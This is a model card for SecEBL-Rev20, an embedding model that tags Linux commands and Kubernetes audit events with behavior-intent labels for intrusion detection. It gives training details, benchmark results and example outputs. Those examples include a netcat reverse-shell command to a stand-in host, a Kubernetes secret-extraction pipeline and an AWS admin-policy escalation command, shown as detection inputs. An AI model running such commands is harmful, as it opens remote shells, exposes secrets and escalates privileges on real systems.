willchen0011/SecEBL

1---2license: apache-2.03base_model: Alibaba-NLP/gte-modernbert-base4library_name: sentence-transformers5pipeline_tag: sentence-similarity6tags:7  - security8  - intrusion-detection9  - behavior-analytics10  - intent-recognition11  - linux12  - kubernetes13  - audit-log14  - sentence-transformers15---16 17# SecEBL-Rev2018 19**SecEBL** stands for **Security Event Behavior Labeler**.20 21SecEBL-Rev20 is an intent-recognition model for security telemetry. It maps a22Linux command line or normalized Kubernetes AuditLog event into ranked23behavior-intent labels, so downstream detection can reason about what an actor24is trying to do instead of only matching fixed strings, allowlists, blacklists,25or opaque risk scores.26 27Project repository: [github.com/EBWi11/SecEBL](https://github.com/EBWi11/SecEBL)28 29## At A Glance30 31| Area | Current release summary |32| --- | --- |33| Stable public API | L1 behavior-intent labeling with ranked `top_labels`. |34| Behavior vocabulary | 361 Rev20 behavior-intent tags across 12 security behavior groups. |35| Training scale | 86,285 internal corpus rows, 82,895 usable training observations, and 118,858 effective command/tag training pairs. |36| Corpus breadth | Linux commands plus normalized Kubernetes AuditLog events, covering roughly 2,700 distinct Linux first-token/tool forms and common security/operations tooling. |37| Benchmark scale | 12,594-row internal Linux command benchmark covering all 361 behavior tags, 663 internal Linux sessions, and a 6,286,568-row / 102,117-session pressure stream. |38| L1 accuracy | 98.49% top5 any-hit and 96.44% micro recall@5 on the internal Linux command benchmark; 100.00% top5 coverage on the K8s evaluation set. |39| Inference performance | RTX 5090 spot-check: mean 5,308.72 unique cmdlines/s with FP16 + SDPA; exact raw-event cache lookup measured separately at about 1.8M rows/s. |40| Training setup | `Alibaba-NLP/gte-modernbert-base`, MNRL with hard-negative-aware batches, RTX 5090 32GB, 128 full-pass epochs, batch size 112, about 16.2 hours. |41 42The public examples include a reviewed, publicly releasable subset of the43internal Linux final benchmark plus normalized Kubernetes AuditLog examples:4410,520 Linux rows across 531 sessions and 144 K8s rows across 46 sessions. They45exist so users can run the model locally and inspect outputs without access to46private telemetry.47The full training corpora, full internal benchmarks, private pressure-stream48rows, and private run logs are not redistributed because parts of them contain49real telemetry or real operational context.50 51## First-Time User Path52 53Use the companion GitHub repository for the runnable code and this Hugging Face54repository for model artifacts:55 56```bash57git clone https://github.com/EBWi11/SecEBL.git58cd SecEBL59 60git lfs install61git clone https://huggingface.co/willchen0011/SecEBL model_artifacts62 63pip install -e .64scripts/run_examples.sh65```66 67After the script finishes, inspect:68 69```text70runs/examples/linux_l1/predictions.jsonl71runs/examples/l2/example_linux_session_results.json72```73 74L1 is the stable behavior-labeling API. It outputs ranked behavior evidence,75not an intrusion verdict. L2 is optional and experimental; it runs only when an76L2 artifact such as `model_artifacts/l2_artifacts/logreg.joblib` is available.77 78## What This Repository Contains79 80This Hugging Face repository is the model artifact bundle.81 82| Path | Purpose |83| --- | --- |84| `model.safetensors`, tokenizer/config files | SentenceTransformers-compatible SecEBL-Rev20 embedding model. |85| `semantic_texts.jsonl` | Rev20 semantic label texts used by the L1 retrieval path. |86| `schema/tags_schema_rev20.json` | Canonical Rev20 behavior vocabulary, 361 tags across 12 groups. |87| `examples/linux/` | Public subset of the internal Linux final benchmark and matching Rev20 labels. |88| `examples/k8s/` | Public normalized Kubernetes AuditLog examples and matching Rev20 labels. |89| `examples/manifest.json` | Public example subset counts and distribution. |90| `rev20_tag_rfc.md` | Rev20 behavior-tag labeling RFC and boundary examples. |91| `l2_artifacts/logreg.joblib` | Experimental L2 logistic-regression session scorer. |92| `l2_artifacts/tag_risk_policy.rev20.json` | Matching L2 feature policy. Its tag-selection settings are internal to L2 feature extraction. |93| `l2_artifacts/train_summary.json` | Public aggregate L2 training/evaluation summary with no raw rows or real session identifiers. |94| `LICENSE`, `NOTICE` | Model license and attribution notices. |95 96This repository does not include the runnable helper scripts. Use97[EBWi11/SecEBL](https://github.com/EBWi11/SecEBL) for the Python package and98one-command test script. The same public benchmark-subset examples are included99here for convenience.100 101## Output Shape102 103L1 predictions expose ranked `top_labels`:104 105```json106{107  "observation_id": "event:0",108  "command": "nc -e /bin/sh 203.0.113.10 4444",109  "top_labels": [110    {111      "label_id": "spawn_reverse_shell",112      "score": 0.811,113      "axis": "execution_and_process"114    },115    {116      "label_id": "connect_external_service",117      "score": 0.488,118      "axis": "network"119    }120  ]121}122```123 124L1 does not emit `behavior_tags` and does not apply a user-facing tag-selection125threshold. `behavior_tags[]` is the field used by training and evaluation label126files. Runtime prediction output is ranked `top_labels`.127 128## Why Intent Labels Matter129 130Traditional IDS pipelines often depend on signatures, rules, allowlists,131blacklists, and low-explainability tabular ML. Those tools still matter, but132they can struggle when legitimate tools are used in suspicious ways, when tool133syntax drifts quickly, or when the same behavior appears in different telemetry134formats.135 136SecEBL adds an intermediate representation:137 138```text139raw security event140  -> L1 behavior-intent recognition141  -> L2 session reasoning or another downstream detector142  -> alert / review / policy143```144 145L1 intentionally does not decide that a single event is an intrusion. It146produces explainable behavior evidence such as `read_credential_material`,147`execute_remote_command`, `create_scheduled_task`, `grant_cluster_privilege`,148or `query_service_health`.149 150This is useful for:151 152- LOLT / living-off-the-land behavior where the tool is legitimate but the153  behavior may be suspicious in context.154- Rule-writing lag, where new tool syntax appears faster than signatures can be155  maintained.156- Multi-platform telemetry, where Linux commands, Kubernetes audit events, and157  future telemetry can share a behavior vocabulary.158- Explainable detection, where an alert should be tied to explicit behavior159  labels rather than only an opaque score.160 161## Data And Vocabulary162 163Rev20 is a flat behavior-tag schema.164 165| Item | Count |166| --- | ---: |167| Top-level behavior groups | 12 |168| Behavior tags | 361 |169 170Schema groups:171 172| Group | Tags |173| --- | ---: |174| `observation_and_discovery` | 51 |175| `configuration_and_log_modification` | 12 |176| `filesystem_and_data` | 33 |177| `execution_and_process` | 28 |178| `network` | 51 |179| `identity_auth_and_secrets` | 31 |180| `persistence_services_and_storage` | 27 |181| `kernel_memory_and_tracing` | 14 |182| `package_build_and_source` | 19 |183| `database_and_infrastructure_services` | 33 |184| `containers_and_cloud_native` | 34 |185| `cloud_control_plane` | 28 |186 187The release baseline was trained from internal Rev20 corpora:188 189| Corpus | Rows | Unique behavior tags | Notes |190| --- | ---: | ---: | --- |191| Linux command corpus | 85,277 | 361 | Mixed generated, reviewed, and manually expanded command examples. |192| Kubernetes AuditLog corpus | 1,008 | 40 | Manually authored normalized K8s audit events. |193 194The Linux corpus covers roughly 2,700 distinct first-token/tool forms by a195conservative executable-name estimate. Common families include shell utilities,196network tools, package/build tools, cloud CLIs, IaC tools, container tooling,197databases, secret stores, and Kubernetes tooling.198 199## Training Details200 201The raw training corpora are not redistributed, but the following details are202documented so readers can understand the model scale and method.203 204| Item | Value |205| --- | --- |206| Base model | `Alibaba-NLP/gte-modernbert-base` |207| Training objective | `MultipleNegativesRankingLoss` with hard-negative-aware batches |208| Training hardware | NVIDIA GeForce RTX 5090, 32GB VRAM, `cuda:0` |209| Epochs | 128 full-pass epochs |210| Batch size | 112 |211| Precision | `fp32` |212| Steps | 1,062 steps per epoch; 135,936 total optimizer steps |213| Runtime | 58,291 seconds, about 16.2 hours |214| Sequence length | 160 tokens |215| Optimizer schedule | learning rate `2e-5`, warmup ratio `0.06`, 8,156 warmup steps, weight decay `0.01` |216 217Training data scale:218 219| Training artifact | Count | Notes |220| --- | ---: | --- |221| Combined corpus rows | 86,285 | 85,277 Linux command rows plus 1,008 K8s AuditLog rows. |222| Non-empty training observations | 82,895 | Rows with usable behavior labels after skipping 3,390 abstain rows. |223| Base command-tag pairs | 117,092 | Positive command/tag pairs before boundary upsampling. |224| Effective positive pairs | 118,858 | Final pair count after targeted boundary upsampling. |225| Behavior labels | 361 | Full Rev20 behavior vocabulary used on the label side. |226 227The Linux corpus is intentionally mixed rather than a single synthetic source.228The largest source slices are roughly 36.9k generated rows, 28.5k manually229reviewed rows, 4.0k benchmark-prune/migration rows, 3.6k common-difference gap230rows, 2.7k reviewed generated rows, 2.6k baseline manual rows, and 2.3k attack231batch rows, plus smaller targeted boundary, miss-review, public-attack, and232high-miss batches.233 234Token lengths are short enough for a compact encoder. Across the final pair set,235command-side text is p50 32 tokens, p90 55, p95 68, and p99 113; fewer than2360.3% of examples exceed the 160-token training limit. Label-side semantic texts237are p50 40 tokens and p95 62.238 239Hard negatives were designed in two layers:240 241- Schema-level negatives: the dataset builder used `schema_hard`, with a242  16-item hard-negative pool and up to 8 negatives per positive before MNRL243  batching. These negatives come from semantically nearby Rev20 tags, so the244  model is forced to separate labels such as read-vs-search, inspect-vs-modify,245  local-vs-remote execution, and similar tool-boundary cases.246- Batch-level negatives: the training loader used hard-negative-aware MNRL247  batches. The final run used config248  `rev20_conservative_20260620_ep96_miss_v11`, covering 74 difficult labels and249  placing 2 hard-negative labels near each anchor where possible.250- Boundary upsampling: 1,766 boundary-sensitive pairs were duplicated once,251  producing 1,766 extra training exposures. These rows target recurring failure252  modes such as grep/read ambiguity, wrapper commands, tool-specific boundaries,253  no-hit review cases, and post-evaluation miss-review batches.254 255## Public Benchmark Subset256 257This Hugging Face repository includes the same public benchmark examples as the258companion GitHub repository: the Linux benchmark subset under `examples/linux/`259and normalized Kubernetes AuditLog examples under `examples/k8s/`.260 261| Public artifact | Rows | Sessions | Notes |262| --- | ---: | ---: | --- |263| `examples/linux/example_sessions.jsonl` | 10,520 | 531 | Publicly releasable subset of the internal Linux final benchmark; 2,934 normal-operation rows and 7,586 intrusion rows. |264| `examples/linux/example_gold.rev20.jsonl` | 10,520 | 531 | Matching Rev20 behavior labels; 10,019 labeled rows, 14,807 behavior-label instances, and 349 unique behavior tags. |265| `examples/k8s/example_sessions.jsonl` | 144 | 46 | Public normalized Kubernetes AuditLog examples; 72 normal-operation rows and 72 intrusion rows. |266| `examples/k8s/example_gold.rev20.jsonl` | 144 | 46 | Matching Rev20 behavior labels; 144 labeled rows, 163 behavior-label instances, and 27 unique behavior tags. |267 268Session-level labels use English enums: `normal_operation` and `intrusion`.269The full internal Linux benchmark remains larger: 12,594 rows, 663 sessions,270and complete 361-tag coverage.271 272## Evaluation Snapshot273 274The full internal benchmark data is not public. The aggregate size,275distribution, and metrics are public so users can understand what the headline276numbers mean.277 278Evaluation scale:279 280| Dataset | Rows | Rows with labels | Behavior-tag instances | Unique behavior tags |281| --- | ---: | ---: | ---: | ---: |282| Linux internal benchmark | 12,594 | 11,889 | 17,287 | 361 / 361 |283| K8s evaluation set | 144 | 144 | 163 | 27 / 361 |284| Combined | 12,738 | 12,033 | 17,450 | 361 / 361 |285 286Retrieval quality:287 288| Dataset | Dynamic exact | Top5 any-hit | Top5 all-covered | Micro recall@5 |289| --- | ---: | ---: | ---: | ---: |290| Linux internal benchmark | 87.32% | 98.49% | 95.44% | 96.44% |291| K8s evaluation set | 99.31% | 100.00% | 100.00% | 100.00% |292| Combined | 87.47% | 98.50% | 95.50% | 96.47% |293 294The Linux benchmark covers the complete 361-tag Rev20 vocabulary and includes295complex multi-tag command rows. The K8s result should be read as a small-domain296sanity result rather than broad Kubernetes coverage because the current K8s297corpus is much smaller than the Linux corpus.298 299Internal Linux benchmark tag cardinality:300 301| Tags per row | Rows |302| --- | ---: |303| 0 | 705 |304| 1 | 8,829 |305| 2 | 1,567 |306| 3 | 901 |307| 4 | 402 |308| 5 | 139 |309| 6+ | 51 |310 311Top internal Linux benchmark tags:312 313| Tag | Count |314| --- | ---: |315| `stage_temporary_path` | 987 |316| `inspect_network_state` | 801 |317| `stage_hidden_path` | 655 |318| `inspect_current_identity` | 578 |319| `read_credential_material` | 551 |320| `inspect_system_state` | 481 |321| `inspect_infrastructure_service` | 390 |322| `query_dns_records` | 372 |323| `enumerate_filesystem` | 365 |324| `search_credentials` | 315 |325 326## Example Outputs327 328These examples show the user-facing L1 output style. Scores are cosine/retrieval329scores after the release prompt profile. The public helper scripts save top330labels in `predictions.jsonl`.331 332| Event | Top 3 L1 tags | Note |333| --- | --- | --- |334| `nc -e /bin/sh 203.0.113.10 4444` | <code>spawn_reverse_shell</code> 0.811<br><code>connect_external_service</code> 0.488<br><code>spawn_bind_shell</code> 0.451 | `-e` is recognized as reverse-shell execution. |335| `nc -v 203.0.113.10 443` | <code>connect_external_service</code> 0.732<br><code>spawn_reverse_shell</code> 0.503<br><code>create_reverse_tunnel</code> 0.412 | Connection intent ranks above shell-spawn intent. |336| `cat /root/install.log` | <code>read_business_log</code> 0.641<br><code>read_system_log</code> 0.431<br><code>read_workload_logs</code> 0.385 | Log-read semantics dominate. |337| `cat /root/install.conf` | <code>read_infrastructure_config</code> 0.620<br><code>read_system_config</code> 0.612<br><code>read_kernel_parameter</code> 0.336 | Config-read semantics dominate. |338| `kubectl -n prod get secret payment-api-token -o jsonpath={.data.token} \| base64 -d` | <code>read_cluster_secret</code> 0.730<br><code>decode_data</code> 0.716<br><code>read_credential_material</code> 0.363 | K8s secret extraction and decoding. |339| `aws iam attach-user-policy --user-name temp --policy-arn arn:aws:iam::aws:policy/AdministratorAccess` | <code>grant_cloud_privilege</code> 0.838<br><code>modify_cloud_identity_policy</code> 0.535<br><code>modify_cloud_identity</code> 0.459 | Cloud privilege escalation semantics. |340| `curl -fsS http://127.0.0.1:8080/healthz` | <code>query_service_health</code> 0.840<br><code>inspect_local_kubernetes_cluster</code> 0.459<br><code>inspect_container_runtime</code> 0.383 | Local service health check. |341 342## Runtime Performance343 344SecEBL-Rev20 is a SentenceTransformers-style embedding retriever over 361 Rev20345tag definitions. The serving path embeds the event, embeds or loads tag346definition embeddings, then ranks tags by similarity.347 348Current single-card CUDA recommendation:349 350| Setting | Value |351| --- | --- |352| Precision | FP16 |353| Attention | SDPA |354| `max_seq_length` | 160 |355| Batch size | 224 default; 384 was slightly faster in one RTX 5090 sweep but not enough to replace the stable default |356| Sorting | `sort_by=char` |357| Padding | dynamic, no forced pad alignment |358| Output path | GPU tensor output plus GPU top-k |359 360Measured on an NVIDIA GeForce RTX 5090 32GB spot-check:361 362| Mode | Throughput |363| --- | ---: |364| Recommended no-cache unique inference, `bs224` | mean 5,308.72 unique cmdlines/s |365| Recommended no-cache latency, `bs224` | about 0.1884 ms per unique cmdline |366| `bs224` repeat range | 5,025.47 - 5,433.78 unique cmdlines/s |367| Best quick-sweep point, `bs384` | 5,378.45 unique cmdlines/s |368 369Exact raw-event cache lookup was measured separately at mean 1,817,462.76370rows/s. Cache hits reuse saved L1 top-k results and do not run model inference.371 372## L2 Artifact373 374This repository includes an experimental fitted L2 session scorer so the375companion GitHub `scripts/run_examples.sh` can run the public Linux and K8s L1376examples, plus Linux example-session scoring, when this model directory is used377as `MODEL_DIR`.378 379In this release, a **session** is a sequence of events grouped by `session_id`.380L1 labels each event independently. L2 scores the whole session by aggregating381cached L1 ranked tags, retrieval scores, tag diversity, behavior transitions,382and routine-operation context. The L2 output is a session-level verdict such as383`intrusion` or `normal_operation`, not a replacement for per-command behavior384tags.385 386For compatibility with the released L2 artifact, L2 derives its session387features from cached L1 `top_labels` using an internal selected-tag feature388path. In plain terms, L2 filters the cached ranked labels inside its own feature389builder before session scoring. This does not change L1 prediction output:390users still receive ranked `top_labels`, not a selected `behavior_tags` field.391 392Runtime L2 does not use raw command text, user names, host names, or session ids393as scoring features. Session ids may appear in private data-prep workflows for394label assignment, but they are not runtime allow/deny lists.395 396Internal L2 summary:397 398| Check | Result |399| --- | ---: |400| Withheld Linux session benchmark | 663 sessions, 365 TP, 298 TN, 0 FP, 0 FN |401| 7M pressure-stream fit-check | 6,286,568 rows, 102,117 sessions, 61 alert sessions |402| OOF validation | 5,747 sessions, 99.39% accuracy, 96.44% attack precision, 95.31% attack recall |403 404The 7M pressure-stream result was measured on real background telemetry plus405embedded synthetic attack sessions. The underlying rows and real session406identifiers are not redistributed. The included L2 artifact is a407research/reproducibility component, not a general production IDS claim.408 409## Direct SentenceTransformers Loading410 411You can load the embedding model directly:412 413```python414from sentence_transformers import SentenceTransformer415 416model = SentenceTransformer("willchen0011/SecEBL")417```418 419Direct loading gives you the encoder only. SecEBL is a retrieval-style labeler:420encode the event, encode or load the Rev20 semantic label texts from421`semantic_texts.jsonl`, rank labels by cosine similarity, and save the top-k422labels. For normal use, prefer the companion GitHub helpers because they keep423the prompt profile, semantic text loading, top-k output format, and optional L2424feature path aligned with this release.425 426## Intended Use427 428- Research and evaluation of security-event behavior labeling.429- Internal security detection, investigation, and triage for systems an430  organization owns, operates, administers, or is explicitly authorized to431  defend.432- Building session-level risk scoring over SecEBL behavior-label streams.433 434## Out Of Scope435 436- Standalone verdicting on a single event.437- Authorization or policy-compliance decisions without human validation.438- Monitoring systems you are not authorized to defend.439 440## License441 442This Hugging Face repository is released under **Apache License 2.0**.443 444The base model is `Alibaba-NLP/gte-modernbert-base`, which is also Apache-2.0.445Source code, schemas, public examples, public documentation, helper scripts,446model artifacts, and the experimental L2 artifact are Apache-2.0 unless a file447explicitly states otherwise.448